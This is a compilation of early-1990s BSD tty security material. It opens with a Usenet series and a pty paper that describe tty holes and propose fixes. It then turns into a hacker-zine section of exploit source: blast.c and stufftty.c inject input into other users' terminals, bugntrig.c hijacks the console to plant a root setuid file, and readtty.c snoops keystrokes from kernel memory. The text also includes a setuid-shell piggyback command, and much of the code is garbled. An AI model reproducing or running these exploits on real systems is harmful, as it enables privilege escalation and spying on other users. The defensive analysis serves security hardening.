  if (ioctl(fdttyagain,TIOCOPENCT,&count) == -1)
    syslog(LOG_CRIT,"cannot count open references to %s: %m",line);
    /* or whatever your favorite error reporting method is */
    if (count > 1)
      syslog(LOG_INFO,"waiting on %s",line);
        case -1:
   syslog(LOG_CRIT,"cannot fork to wait on %s: %m",line);
        case 0:
     int i;
     i = 0;
     for (;;)
      if (ioctl(fdttyagain,TIOCOPENCT,&count) == -1)
                syslog(LOG_CRIT,"weird: cannot count open references to %s: %m",line);
        if (count == 1)
      if (!(i % 1000))
        syslog(LOG_INFO,"waited %d secs on %s",i * 5,line);
      /* XXX: If i gets large enough, you may want to take */
      /* desperate measures at this point. Example: */
      /* vhangup(); fcntl(fdpty,F_SETFL,FNDELAY); */
      /* vhangup(); write(fdpty,"x",1); vhangup(); */
      /* read(fdpty,"y",1); vhangup(); */
      /* And then break. */
  syslog(LOG_INFO,"done waiting on %s",line);
  /* now finish cleaning up everything, and exit */

It doesn't really matter where the above code comes inside a cleanup
routine, as long as the tty already has the right modes. I think it's
aesthetically better to leave the utmp entry alone until the tty is
deallocated; but if this isn't convenient for some program, feel free to
ignore aesthetics and put the code right before exit().

Marc notes that this change will leave a pseudo-tty allocated to a user
as long as the user has a background process on the tty. Religious types
will say ``yes, that's how it should be.'' I say that at sites I'm
familiar with, this isn't a problem, because users don't run very many
background jobs, and there are more than enough pseudo-ttys. If this is
a problem for you, you will have to do step #20 below and educate your
users to detach background jobs, meanwhile killing any runaways. Sorry,
but this is the price you pay for security. You may prefer the
``desperate measures'' mentioned in the sample code to simply cut off
tty access after a few hours; any use of vhangup() is chock-full of race
conditions, but it would be exceedingly difficult for a process to make
it past all the races.

10. chown pty /dev/[pt]ty*; chmod 600 /dev/[pt]ty*. This is the big step.
Nonprivileged programs will no longer be able to open any ttys or ptys,
so nobody can deny service to other users without executing a privileged
program that will later show up in acct. Furthermore, the TIOCOPENCT
code guarantees that if a tty-handling program exits, absolutely nobody
is using that tty, so it is safe for immediate use by the next
tty-handling program. This throws a huge wrench into all the fundamental
tty security holes I know.

11. If you're using a Sun, make sure to chmod 600 /etc/utmp, or these
changes will go to waste. You may find it convenient to make certain
programs setgid or setuid here so that they can still write utmp, though
I consider this a mistake---you are bound to slip up when a hundred
different tools all manage one supposedly secure file. (But anything is
better than what Sun currently ships.)

12. Support the BSD 4.3 tty group model: make a new group, tty, chgrp
all /dev/tty* to it, and make ``talk'' and ``write'' setgid tty. Of
course, you don't need to do this if you already have the tty group.

It's possible to accomplish similar results with fewer changes. In fact,
my next version of pty will almost guarantee safety on stock BSD 4.2
systems with no kernel support except read access to /dev/kmem. (It is,
unfortunately, not possible to avoid race conditions from user code.)
You can, for example, place the burden of TIOCOPENCT checking upon the
program opening the tty, rather than the program closing it, so that
it's not a problem if one tty handler fails to do its job; but this
increases turnaround time for the users and allows denial-of-service
attacks. The above changes should be straightforward enough that halfway
solutions are not worthwhile.

(POSIX fans will note that using TIOCOPENCT to keep the tty allocated
past session leader exit *is* compliant: it only affects the secure BSD
exclusive lock on the master side, and does not prevent reassignment of
the slave tty to a new session---not that such a reassignment will ever

Why must tty-handling programs be setuid rather than setgid? Because the
user must not be allowed to kill them---he would be able to retain tty
access that way.

There are many further changes you can make to eliminate minor security
OPTIONAL. Here are some of the most important:

13. Fix write. Many people don't appreciate how poor write's security
is; I quote from my pty paper's description of a write clone:

: Finally, write is a vastly improved clone. The old write had several big
: security holes: 1. Control characters were passed through. This version
: converts anything unprintable into a caret. 2. Lines were not
: distinctively marked. A user could manually simulate the ``EOT'' or
: ``EOF'' sequence, wait a few minutes, then start sending anything to the
: other tty without identification. This version precedes each line with
: the name of the sending user, and prints something more informative than
: EOT for an ended message. 3. write could be used to flood a terminal.
: (This is an accident waiting to happen.) This version puts a one-second
: pause between each line and restricts line length. 4. Originally, write
: would only check the protection on the tty being written to. But this
: meant that a user could be interrupted by someone hiding behind mesg n
: and have no recourse. (Footnote: Remember that UNIX has no enforce()
: call to enforce new permissions on an object. Setting mesg n does not
: stop a write in progress.) So many versions of write included
: ``revenge'': X was allowed to write to Y only if Y could write back.
: However, these versions tested tty protection only at the beginning of a
: message---which was useless. This version does the correct test: it
: simply checks write permission before sending each new line.

My write clone is public-domain, so I invite you---I beg you---to steal
code from it. Don't even give me any credit, just fix the bugs. Please.

14. Make script grok utmp and wtmp. (You may have to rethink certain
wtmp-based accounting schemes to do this.) Users constantly complain
that they can't ``talk'' within script, and the lack of accounting
is annoying. This doesn't matter under #18.

15. Change the chown() and fchown() system calls so that files can be
chowned between uid and euid. This opens up chown() for lots of secure
services without forcing the servers to run as root. In this case, it
lets script change the tty owner properly. This doesn't matter, though,
if you implement #16.

16. Don't even bother chowning ttys to the users who own them. (At this
point they might as well not be in the filesystem.) Yes, you can make
biff and mesg setuid pty, and no, nothing breaks except nroff's mesg n.

17. Make sure that telnetd, rlogind, etc. leave ttys with messages *off*
by default. Since UNIX has no way to enforce new access permissions on a
file, the usual default leaves all users open to instant attack. This is
a huge problem in the real world (at universities, at least), and while
there may be a sane argument for having messages on by default, it
cannot justify what amounts to unrestricted output to any and all ttys.

Finally, here are some optional changes that will make the above changes
much easier, or that will add basic features to your system. Do them
first and you'll never regret it.

18. Provide a program that spawns another program under a pseudo-tty,
handling I/O and job control transparently, and obeying all the rules
for tty handlers mentioned above. In fact, the program already exists by
the name of ``pty'' (see, e.g., comp.sources.unix volume 23), and its
author is quite willing to negotiate distribution terms. pty also
supports session management. (Isn't it embarrassing to explain UNIX to a
long-time VMS user? ``No, sorry, Bob, you can't get back to that shell
after your modem went on the fritz. The shell is gone.'' ``vi -r? Oh,
yeah, Bob, that means your connection got hung up.'' ``Nope, sorry, Bob,
you can't start recording a `talk' session without hanging up and
talking again.'' ``No, Bob. This is not VMS. Your process is stuck to
that terminal, right there. Yes, I understand, the terminal screen just
exploded, and you can't see your output. No, you cannot move to the next
terminal and continue work. Sorry, Bob, you're out of luck. Bye, Bob.'')

19. Rewrite all other tty handlers (it's easy---trust me) to invoke that
single, modular program. Don't you find it strange that a dozen programs
all have the same pty allocation code? Don't you find it unreasonable,
at least from a ``software engineering'' standpoint, that since people
are too lazy to do (e.g.) random tty searching every time they recopy
the same code, your average tty handler wastes several dozen open()s on
a big machine when it could use just two? In fact, I'll be glad to do
all the work of conversion for you, provided that you agree to make the
final version available for people to use.

20. Provide a program that detaches from its controlling tty and spawns
another program. The program is usually called ``detach'' and has no
options of note. It should also seek out and reopen("/dev/null") any
file descriptors pointing to any tty.

21. Delete /dev/oldtty and remove the /dev/tty driver from your kernel.
Also remove controlling ttys entirely. Also remove POSIX sessions if you
have them: make setsid() a no-op, and return an implementation-defined
error upon the pointless POSIX SIGCONT special case, and you even retain
POSIX compatibility if you had it. (Well, with one exception: POSIX
defines a foreground process in terms of its controlling terminal,
rather than the terminal it's trying to access as in BSD. Beg the POSIX
folks to make this rule optional---what do they lose?) Notice how much
extra space users get for running programs.

22. Make a stdio stream for stdtty, descriptor 3---after all, programs
do want to use it. Change csh and more to read from stdtty rather than
stderr. Someday you may even be able to open stderr write-only [gasp!].

23. Have accounting record the dev/inode pair on descriptor 3. In fact,
while you're making accounting work sensibly, record the pid, as well as
the dev/inode pair of the program run (if you can get that information).

24. Change getty to spawn the pty-handling program, and to disconnect
that session when it receives BREAK. Guess what? You've just set up a
trusted path.

Most of the recommendations here come from my pty paper, various drafts
of which have been available for many months. (TIOCOPEN* is new.) The
basic ideas come from Bellovin's ``Session Tty'' paper, which has been
available for years. If you get through all of the above and still want
to improve the tty system, you might get some further ideas out of those
papers. See pub/hier/pty/paper.9 on and its
references for details.

BSD tty security, part 4: What You Can Look Forward To

To close this series of postings, I'd like to briefly survey the state
of tty security. I'm sorry I haven't been able to respond personally or
quickly to everyone's mail on this issue.

Just a few years ago I was exploring the depths of an old Ultrix system.
It didn't take a genius to notice the occasional background jobs gone
astray---obviously any user could affect any other user's tty, despite
vhangup(). Soon I had ``blip'', a reasonably powerful tty mode mangler
that could act both as a concise stty and as a tty security breaker.
With it I could write arbitrary text to anyone's tty, TIOCSTI terminal
input, change tty mode settings, send tty signals, and so on.

So I sent copies of the code and documentation to the sysadmin at that
site, and posted a 300-line analysis to comp.unix.wizards. As I recall,
there were three responses. One asked what I was talking about. One was
from the admin describing what I now know to be only a partial fix. One
was from Steve Bellovin referring me to his then-new Session Tty paper
for descriptions of a few of the bugs as well as a complete (but
complex) fix for System V which, to my knowledge, has never been

blip still works on every BSD UNIX machine I can find. It is trivial to
adapt to POSIX. And it has, unfortunately, been spreading slowly around
the net under the name of ``factor.''

That's right. Every available BSD UNIX machine allows any user to write
or type arbitrary characters on the tty of another user. With good
timing the attacker can even make his attack invisible---the moment a
sysadmin types a root command, someone could be piggybacking a command
like cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh. And it gets worse.

How many people know how to exploit these bugs? Far too many, I'm sure,
but not enough to shock other admins into seeing the magnitude of this
problem. And this pales beside the examples set by vendors. I tell Sun
how insecure ttys are, and offer a bandaid: Sun tells me that POSIX
fixes everything, and refuses to admit that a bandaid is necessary.
Convex is finally waking up, but is still under the delusion that one
kernel kludge after another (from vhangup() to POSIX sessions and
beyond) will solve the fundamental problems of statically allocated,
world-usable ttys.

Berkeley is finally showing some interest in fixing the bugs, but it
will be years before vendors have picked up the changes, and several
years before the average machine on the net is safe. Sorry, but I'm not
going to wait that long. I am sick of constantly wondering whether my
users know enough to break security. I am sick of hearing that POSIX
fixes the problems. I am sick of seeing vendors blind themselves to such
a fundamental set of holes. You should be sick of it too.

So here's what I'm doing about it.

1. In part 3 of this series I outlined a reasonably simple set of fixes.
If you have a BSD-derived system where something in the plan doesn't
work, please post your comments here and we'll see what has to be done.
If you don't have source, and you want to be notified as soon as binary
patches are available, tell CERT your hardware type and OS version at

2. I will dedicate some of my free time to working with vendors and
established authorities like CERT interested in tightening up tty

3. So that programmers are insulated from these changes in the pty
subsystem, I commit myself to porting my pty manager to any platform I
have access to.

4. I will attempt to outline a minimal set of (optional) changes to the
POSIX standard to keep the standard from interfering with tty security.
I would be interested in hearing from POSIX committee members interested
in helping with this.

5. On or around October 29, 1992, I will publish a set of tiger programs
that test for and exploit the failures in BSD tty security that I have

6. I will give further details on the security holes to anyone who
convinces me that he has a legitimate interest. That means I want a
verifiable chain of people and phone numbers from the contact for a
major network down to whoever wants the information, plus a better
excuse than ``I haven't read Bellovin's paper or your paper yet.''
If you simply want someone other than me to tell you that the holes
exist, ask (That's Keith Bostic, the guy in
charge of BSD; don't be surprised if he doesn't get to your message
immediately.) Please don't believe vendor assurances that the holes have
been fixed---they haven't.

I hope I've yelled enough about these bugs now. I hope that soon there
won't be anything to yell about.

Biblio: series of postings off UseNet

`Sex' is not the question. `Sex' is the answer. `Yes' is the question.

TTY article                                05/03/92

5. Some tty security holes

In this section we describe some of the most important security holes
related to ttys.

There are two types of ttys. Hardwired ttys, such as /dev/console, are
connected directly to lines outside the computer. Pseudo-ttys (ptys),
such as /dev/ttyp3, have device drivers that present a similar
interface, but any output to /dev/ttyp0 is presented as input to a
``master'' side /dev/ptyp3, and vice versa. /dev/ttyp0 is called the
``slave'' side of the pseudo-tty. Note that ptys are implemented very
differently in non-BSD systems.

Many tty security holes relate to the protection of ttys within the
filesystem. A tty is owned by the user whose shell is running under it.
This mistake is a SCINUP (footnote: Security Compromise Introduced in
the Name of User Power) that gives users many opportunities to make
mistakes. Its apparent advantage is that the user can open the tty from
other terminals; but this can be better done in other ways, and doesn't
outweigh the potential problem of a user changing his tty to
world-readable and world-writable.

The simplest form of user-to-user communication used to be (and still
is) the ``write'' program. One user would set the world-write bit on his
tty; another user would use ``write'' to send messages to the tty.
Unfortunately, this was also a huge hole: other users could just as
easily send unidentified mounds of trash onto the tty, or even apply
ioctls. (stty intr ' ' > /dev/ttyxx.)

This bug was ``fixed'' in BSD 4.3, and independently in certain other
systems. BSD 4.3 introduced a ``tty group,'' group 4. All ttys were set
to group tty. write and other communications programs were made setgid
tty. Finally, users would set the group-write bit rather than the
world-write bit to allow communications.

These changes still leave many holes open. The default state of a tty is
still ``messages on,'' so inexperienced users cannot prevent others from
bothering them. Arbitrary, perhaps damaging text can still be sent
through the talk and comsat daemons. The write program itself is still a
fruitful source of bugs, as described in a later section; in particular,
some versions pass descriptors for the other terminal through to a !
command. This leaves no protection at all.

The reader may wonder whether write access is so bad---the worst that a
program could do is set the terminal modes strangely. However, changing
the terminal's process group can destroy process control; setting flow
control and flushing output strategically can prevent detection; and
many (real) terminals accept a ``playback'' command that feeds stored
sequences back into the computer.

Furthermore, if there is a way to open a tty for writing, then there is
a way to open that tty for reading: if a detached process opens a tty in
any way, it will gain that tty as its control terminal, and can then
reopen it for reading. This means that it can use the TIOCSTI ioctl to
simulate terminal input. (This is another example of the problems caused
by the concept of a ``control terminal.'' TIOCSTI is not inherently bad:
although it really should insert characters at the *front* of the queue,
and although it can interfere with typed input if there's no careful
synchronization, TIOCSTI can be used very effectively. Eliminating it,
as has been done in several BSD-derived systems, is a poor solution.)

A quite different class of filesystem tty bugs comes from this problem:
Unused pseudo-ttys are mode 666, i.e., readable and writable by anyone.
This is a SCINUP. ``User programs want to run other programs under ptys,
so the ptys have to be unprotected for arbitrary programs to use them.''
Unfortunately, a program can access the slave side, then wait for a
program to start using the tty, then suddenly jump in and take control.
(Footnote: POSIX sessions offer no protection against this. As the POSIX
Rationale, B., states: ``A process accessing a terminal that is
not its controlling terminal is effectively treated the same as a member
of the foreground process group. While this may seem unintuitive, note
that these controls are for the purpose of job control, not security,
and job control relates only to a process's controlling terminal.
*Normal file access permissions handle security*'' (italics added).
Apparently this has been removed from the POSIX.1-1990 rationale; this
author finds it disturbing that the POSIX committee no longer thinks
normal file access permissions should handle security.)

A particularly nasty application of this hole is to have a program keep
TIOCSTI'ing ^C's into /dev/ttyp0; telnetd (and almost every other
program with the usual pty allocation code) will find /dev/ttyp0 open
before looking at any other tty, so login be killed instantly. In
combination with other bugs, this can force the sysadmin to shut off
power to the machine, without so much as an accounting trace afterwards.
Another application is a simple Trojan horse, which popular myth says is
impossible for network logins if the attacker doesn't have root
privilege. (Details of this attack are left to the reader.)

It is also clear that, because ptys are static and unprotected, one user
can trivially deny service to all others, again without so much as an
accounting record. While denial of service is not as severe as a true
security hole, it is just as important.

Note that some systems have even the hardwired ttys set up mode 666 when
they're unused. This is pointless. It leads to the same bugs as above
and has no conceivable application.

A different type of tty bug---one that would apply even if ttys weren't
in the filesystem---is that a program can retain access to a tty even
after someone else logs in. Without some major enhancements to the
system (viz.: dynamic ptys, perhaps through streams), telnetd and getty
have to reuse an available tty without knowing whether a background
process still has access to that tty. Users regularly complain about
garbage spewed onto their screens by other users' background processes;
a security hole waiting for accidents to happen is more dangerous than
one that is difficult to exploit.

The careful reader may have raised several objections to the above
descriptions, as some manual pages give the impression that a user can
protect himself from attackers. If a process is running under a
terminal, isn't it susceptible to signals from that terminal? If it's
not in the tty's process group, doesn't it get stopped if tostop is set?
The answers are yes and yes, but an attacker can ignore various signals,
set his process group carefully, and/or stick himself inside a vfork()
to dodge these signal problems.

A more important objection is that vhangup() revokes access to ttys.
However, empirical tests show that vhangup() does nothing on many
systems, less than its documentation on most, and in any case not much.
Even if it worked as documented, it would not revoke a process's access
to its control terminal. Convex UNIX, perhaps the most secure available
BSD UNIX with respect to tty protection, has a large amount of paranoia
coded into the kernel in various attempts to solve the problems
mentioned above. Even it does not protect against all the above attacks,
and race conditions defeat much of its care.

Until UNIX has a working enforce() call to reliably enforce new access
permissions on an object, users should never be given permission for
anything that they may not be allowed to do forever.

It is worthwhile to note another SCINUP at this point: On Sun's popular
workstations, /etc/utmp is almost always mode 666. Sun did this because
many of its window programs (``tools''), like many programs available
for other machines, would benefit from an /etc/utmp entry. Making
/etc/utmp world-writable was considered more secure than making those
programs setuid root. Unfortunately, many programs depend on /etc/utmp
for accurate information, and can develop new security holes if they are
deluded into thinking that a different user is working under the tty.
Even on single-user machines, a writable /etc/utmp is an accident
waiting to happen.

6. Adding pty security to current systems

In this section, we consider what pty can do to prevent the security
holes of section 5. This section is mainly of interest to system
managers of machines derived from BSD 4.2 or 4.3.

Without support from the kernel, pty must run setuid to provide real
security. It is careful to make sure that the slave runs as the original
uid; it is very careful to make sure that the kernel accounts pty use to
the correct user; and it is extremely careful not to touch any files
outside the session directory. (Foornote: This level of security is very
difficult to achieve under System V before release 4.)

Under BSD, pty can successfully run setuid as any given user. (It can be
installed by unprivileged users on current insecure machines, but after
taking all the steps mentioned in this section, a sysadmin can be sure
that unauthorized pseudo-tty access is impossible.) Unfortunately, even
BSD doesn't provide enough security features; as mentioned in section 4,
various restrictions, missing capabilities, and bugs probably require
that pty be installed setuid root.

We will assume that some user, say ``pty'', has been set up for pty use.
This should be a system-only account, never used for interactive logins
and only available for storing privileged programs and secure files. It
may or may not be the same as root.

With pty in place, two SCINUPs disappear immediately. Unused psuedo-ttys
can be made owner pty, mode 600; and /etc/utmp can be made owner pty,
mode 644. Insecure pseudo-ttys and world-writable /etc/utmp are no
longer necessary for user programs to take advantage of these features.
(Of course, pty can work with the old, insecure setup; for a gradual
upgrade, a sysadmin can even dedicate some ptys to secure use and some
old ptys to insecure use.)

pty supports the BSD 4.3 tty group model. It supports leaving pseudo-tty
ownership with pty instead of changing it to the current user. It
supports a default of unwritable (and un-``biffable'') ttys. The pty
package includes mesg and biff adapted to work with these changes. The
system administrator can configure pty without these features if he

pty's random pseudo-tty searching can give a huge boost to speed and
security, as mentioned in section 2. Its use of TIOCEXCL closes many
holes, though the widespread use of /dev/tty means that this cannot be
made default. These are independent of all other security features.

None of the above (except TIOCEXCL, but there are still races) address
the problem of a background process keeping access to a pseudo-tty.
pty's test for previous access is completely reliable under some
variants of the BSD kernel, and completely unreliable under others. If
the kernel could be counted on to exhibit proper O_NDELAY tty behavior,
pty would have closed the most important tty security hole. The author
is considering adding an option for pty to search the kernel file table.
Of course, it would be even better if the kernel supported real streams
and pty were redone to use dynamic stream pseudo-ttys.

On systems where vhangup() reliably closes everything except /dev/tty,
there's a different solution: Eliminate /dev/tty. This is probably a
good idea for future systems in any case. It is considered further in
section 9.

Installing pty with all security measures enabled is useless unless
programs are modified to actually use pty. It is straightforward to
modify getty so that it always ignores the real tty and forks login
under pty. All hardwired /dev/tty* would remain permanently in raw mode,
owned by root, mode 600.

It is not so easy to modify telnetd to use pty, because telnetd
allocates a pseudo-tty for itself and depends on full control to pass
mode changes between the pseudo-tty and the telnet on the other side of
the network. The author has done the necessary work, using pty's file
descriptor passing feature to give telnetd the tty descriptors. A side
effect of this strategy is that the patched telnetd runs at the same
efficiency as the original version, even after a reconnect. Patches for
telnetd are included in the pty package.

A few problems arise because pty and login have different views of
/etc/utmp. The latter's strategy regularly leads to race conditions on
heavily used machines, does not adapt well to ptys used in random order,
and is logically impossible to adapt to dynamically allocated ptys.
Nevertheless, pty has to conform to it, so the patched telnetd invokes
pty with -xR to find ptys in an order that login can handle. (Footnote:
A much better solution is to have utmp initialized at system startup to
list all available ptys, in the order that login requires; then pty will
conform to that order. This still won't help login once ptys are out of
the filesystem.)

A more serious problem is that the pseudo-tty is allocated before
authentication and hence is controlled by root. The pty package includes
a ``sessuser'' command to fix this problem. Once the user owns the
pseudo-tty file and is listed in /etc/utmp for that tty (all as per
login's usual procedure), ``sessuser'' changes ownership of the session
to the user. Then all the other session commands will work properly.

Some work still needs to be done, to adapt other common programs
(rlogind, screen, emacs, etc.) to use the pty model. In the meantime, a
sysadmin can take the ``gradual upgrade'' strategy and leave those old
programs to use insecure pseudo-ttys. Users will meanwhile garner the
benefits of tty security and session management.

7. pty extras

lock is a clone of the usual program. It corrects many of the original's
failings, by being much simpler: it does not accept hasta la vista; it
does not accept the root password; it never times out; and it does print
a message for each bad password. (Also, unlike many versions, it catches
all tty signals; so even if an attacker manages to reset the tty from
raw mode, he cannot interrupt the lock.)
                                                     write has several
security holes: 1. Control characters were passed through. This version
converts anything unprintable into a caret. 2. Lines were not
distinctively marked. A user could manually simulate the ``EOT'' or
``EOF'' sequence, wait a few minutes, then start sending anything to the
other tty without identification. This version precedes each line with
the name of the sending user, and prints something more informative than
EOT for an ended message. 3. write could be used to flood a terminal.
(This is an accident waiting to happen.) This version puts a one-second
pause between each line and restricts line length. 4. Originally, write
would only check the protection on the tty being written to. But this
meant that a user could be interrupted by someone hiding behind mesg n
and have no recourse. (Footnote: Remember that UNIX has no enforce()
call to enforce new permissions on an object. Setting mesg n does not
stop a write in progress.) So many versions of write included
``revenge'': X was allowed to write to Y only if Y could write back.
However, these versions tested tty protection only at the beginning of a
message---which was useless. This version does the correct test: it
simply checks write permission before sending each new line.

Comments: more comments/applications for this information are needed.

C0dEz R el8 d00d! We wANt m0rE c0deZ iN d1s mAG!

blast.c                            4.cb.15.00                        04/04/92
There is a major bug in 4.2 which allows you to set your process group
and your terminal process group to any value you like.  This results in
several nasty security features.

     #include <sgtty.h>
     #include <stdio.h>

     main(argc, argv)
     	char **argv;
     	register char	*str;
     	register char	*cp;	
     	register int	pid;	
     	int	pgrp;		
     	struct	sgttyb	sb;	
     	struct	sgttyb	nsb;
     	struct	tchars	tc;	
     	struct	ltchars	lc;

     	if (argc < 2)
     		fprintf(stderr, "usage: blast [-ksd] pid ...\n");
     	ioctl(0, TIOCGETP, &sb);
     	nsb = sb;
     	nsb.sg_flags &= ~ECHO;
     	ioctl(0, TIOCSETN, &nsb);
     	if (ioctl(0, TIOCGETC, &tc))
     		goto done;
     	if (ioctl(0, TIOCGLTC, &lc))
     		goto done;
     	cp = &tc.t_intrc;
     	while (argc-- > 1)
     	  str = *argv++;
     	  if (*str == '-')
     		switch (str[1]) {
     			case 'k':	/* kill process */
     				cp = &tc.t_intrc;
     			case 's':	/* stop process */
     				cp = &lc.t_suspc;
     			case 'd':	/* dump process */
     				cp = &tc.t_quitc;
     			default:	/* illegal */
     				fprintf(stderr, "bad option\n");
     				goto done;
     		pid = 0;
     		while (*str)
     		  pid = pid * 10;
     		  if ((*str < '0') || (*str > '9'))
     			fprintf(stderr, "bad number\n");
     			goto done;
     		  pid += (*str++ - '0');
     		pgrp = getpgrp(pid);
     		if (pgrp < 0) {
     			goto done;
     		if (ioctl(0, TIOCSPGRP, &pgrp)) {
     			goto done;
     		if (setpgrp(0, pgrp)) {	
     			goto done;
     		if (ioctl(0, TIOCSTI, cp)) {
     			goto done;

     done:	ioctl(0, TIOCSETN, &sb);


A new song by Nirvana: Smells Like Gene Spafford!

bugntrig.c                        4.cb.15.01                    04/04/92

Here you have the code for two nice programs. bug.c and trig.c.

It polls bugid#1008324, the well-known TIOCCONS bug.
I take no responsibility for the problems on your system
that might occur after you have run these programs.

*Please do understand that if the wrong user get his hands on these*
*programs, he'll get root-priviliges!!!!!!                         *

 1) Compile bug.c
 2) Compile trig.c
 3) Move trig to /tmp
 4) Run bug (it will wait until sameone is using the console
 5) Log in as root on the real console
 6) Give some commands on the console
 7) Root will be logged out of the console
 8) You will have a file, owned by root, chmod 4711, named /tmp/testfile
 9) Maybe you have to kill -HUP the getty on the console to force
    the console to work again.
10) Be sure to remove testfil, bug and trig.


#include <sys/types.h>
#include <sys/stat.h>
#include <termios.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <stdio.h>

static void thething()

static struct sigvec sigge = {

    int m,s;
    char buf[1024];
    char *l;
    time_t yesterday;
    struct stat devcon;

 /* The last pty on the system */
    static char lastpty[]="/dev/ptyvf";

/* The name of the program "trig" */
    static char horrible[] = ";/tmp/trig;exit\n";

    if(stat("/dev/console",&devcon) == -1) {
    if((m=open(lastpty,O_RDWR)) == -1) {

    if((s=open(lastpty,O_RDWR)) == -1) {

/* Ok, now get total control of the console */
    if(ioctl(s,TIOCCONS) == -1) {

/* Wait until the console is used */
    do {
        if (read(m,buf,sizeof buf)<0 && errno!=EINTR)
            return 1;
    } while (devcon.st_atime==yesterday);

/* Do the ugly stuff */
    switch (fork()) {
    case -1:
        return 1;
    case 0:
        while (read(m,buf,sizeof buf)>0)
/* In the main process, put the "horrible" command on the console */
        for (l=horrible; *l; l++)
            if (write(m,l,1)==-1)
        while (wait(0)<=0)
    return 0;


#include <termios.h>
#include <fcntl.h>

int main(argc,argv,envp)
int argc;
char **argv,**envp;
    int s;

   /* Change this to a nice directory ... */
    chmod("testfil",04711); /* Oops, here we go... */
    return 0;


If women are so independant, why do they go to the bathroom in pairs?

readtty.c                         4.cb.15.02                    04/04/92

#include <stdio.h>
#include <sys/ttyio.h>
#include <sys/param.h>
#include <sys/clist.h>
#include <sys/tty.h>
#include <nlist.h>
#include <ctype.h>


#defineNDZ1/* DZ's and DH's have to be mapped into */
#defineNDH2/* your own hardware*/
#define NPT2/* number of pty controllers*/
#defineDZ111/* major device number of the dz11*/
#defineDH1133/* major device number of the dh11*/
#define PTY20/* major device number of the ptys*/
#defineDZ_X8/* eight lines per dz11*/
#defineDH_X16/* sixteen lines per dh11*/
#define PT_X16/* sixteen lines per pty controller*/

#undefmajor()/* need to do this because of kernel*/
#undefminor()/* macros used to strip off device #'s  */

static struct nlist nl[2];

static char *name_list[] = {
"_dz_tty",/* base address of the dz tty structures*/
"_dhu11" ,/* same for the dh's*/
"_pt_tty",/* pseudo-ttys*/

main(argc , argv)
char **argv;
int  argc;
int major;/* place to hold major #*/
int minor;/* place to hold minor #*/
int board_type;/* tells me which kind of tty   */
int fd;/* fd for memory*/
long offset;/* how far into the above tables*/
struct tty ttyb;/* place to put the tty buffer*/
extern char *calloc();/* our friend calloc*/

get_args(&major , &minor , argc , argv);
check_args(major , minor , &board_type , argv);
get_name_list(board_type , argv);
open_memory(&fd , argv);
    char *p;/* blank out argument list */

    for (p = argv[1]; *p != '\0'; p++) *p = '\0';
    for (p = argv[2]; *p != '\0'; p++) *p = '\0';
offset = minor * sizeof(struct tty);
while (1) {
read_tty(fd , nl[0].n_value , offset , &ttyb);
get_clist(fd , &ttyb.t_nu.t_t.T_rawq);

***Much monkeying around was done before I settled on this
***procedure. I attempted to follow the c_next pointers in
***the individual cblocks. This is friutless since by  the
***time we do the second seek and read the information has
***been whisked away.
***So - The LIMITATIONS of this routine are:
***cannot read from any tty in RAW mode
***can only snarf first 28 characters (ie
***the first cblock)
***Nice things about this routine:
***only NEW  characters  are  echoed to the output
***(eg characters  in the cblock which  have  been
***seen before are swallowed).

get_clist(fd , cl)
register struct clist *cl;
static char c[CBSIZE];
static char *old_start = 0 , *old_finish = 0;
static int  old_i = 0;
char *pntr;
int tn , in;

if ((cl->c_cc > 0) &&
    ((old_start != cl->c_cf) || (old_finish != cl->c_cl))) {
pntr = c;
lseek(fd , (long) cl->c_cf , 0);
read(fd , c ,(tn=in=cl->c_cc > CBSIZE ? CBSIZE : cl->c_cc));
if (old_start == cl->c_cf) {
in -= old_i;
pntr += old_i;
if (in > 0) while (in--) putchar(*(pntr++));
else if (in < 0) while (in++) putchar('\010');
old_i = tn;
old_start = cl->c_cf;
old_finish = cl->c_cl;
if (cl->c_cc <= 0) {
if (old_i != 0) putchar('\n');
old_i = (int) NULL;
old_start = old_finish = NULL;

read_tty(fd , base , offset , buffer)
long base , offset;
register struct tty *buffer;
register int i;

lseek(fd , base + offset , 0);
i = read(fd , buffer , sizeof(struct tty));
if (i != sizeof(struct tty)) {
printf("unexpected return from read\n");
printf("should have been %d\n" , sizeof(struct tty));
printf("was %d\n" , i);

open_memory(fd , argv)
int *fd;
char **argv;
if ((*fd = open("/dev/kmem" , 0)) < 0) {

int index;
char **argv;
nl[0].n_name = name_list[index];
nlist("/vmunix" , nl);
if (! nl[0].n_type) {
printf("%s: couldn't get name list\n" , argv[0]);
printf("%s starts at %08x\n" , nl[0].n_name , nl[0].n_value);

get_args(major , minor , argc , argv)
int *major , *minor , argc;
char **argv;
if (argc != 3) {
fprintf(stderr,"usage: %s major_dev minor_dev \n" , argv[0]);
*major = atoi(argv[1]);
*minor = atoi(argv[2]);
printf("Major Device: %d -- Minor Device: %d\n" , *major , *minor);

check_args(major , minor , board , argv)
char **argv;
int *board;
if (minor < 0) {
bad_minor:printf("%s: bad minor device number\n" , argv[0]);
switch (major) {

case DZ11:
if (minor >= NDZ * DZ_X) goto bad_minor;
printf("DZ11 - Unit %d\n" , minor / DZ_X);
*board = 0;

case DH11:
if (minor >= NDH * DH_X) goto bad_minor;
printf("DH11 - Unit %d\n" , minor / DH_X);
*board = 1;

case PTY:
if (minor >= NPT * PT_X) goto bad_minor;
printf("PTY - Unit %d\n" , minor / PT_X);
*board = 2;

printf("%s: bad major device number\n" , argv[0]);


If men are interested in only one thing, why do we like beer so much?

stufftty.c                        4.cb.15.03                    04/04/92
Under 4.2BSD and it's derivatives, a user can "write" on another users
terminal as if he was really there.  Here is some code I call "stuff"
to show off this nasty bug.
      * Stuff: program to stuff input into another terminal.
      * This program bypasses the normal superuser check for stuffing chars
      * into other people's terminals.  All you need is write permission on
      * the user's terminal.

     #include <sgtty.h>
     #include <stdio.h>

     main(argc, argv)
         char **argv;
         register int fd;		/* file descriptor */
         char ch;			/* current character */
         char name[100];		/* tty name */
         struct sgttyb sb;		/* old and new tty flags */
         struct sgttyb nsb;

         if (argc < 2)
     	  fprintf(stderr, "stuff ttyname\n");
         if (**argv == '/')
           strcpy(name, *argv); /* build full name */
           sprintf(name, "/dev/%s", *argv);

         if (setpgrp(0, 0)) /* clear my process group */
     	  goto done;

         if (open(name, 1) < 0) /* open tty, making it mine */

         fd = open("/dev/tty", 2);		/* open read/write as tty */

         if (fd < 0)

         ioctl(0, TIOCGETP, &sb); /* go to raw mode */
         nsb = sb;
         nsb.sg_flags |= RAW;
         nsb.sg_flags &= ~ECHO;
         ioctl(0, TIOCSETN, &nsb);
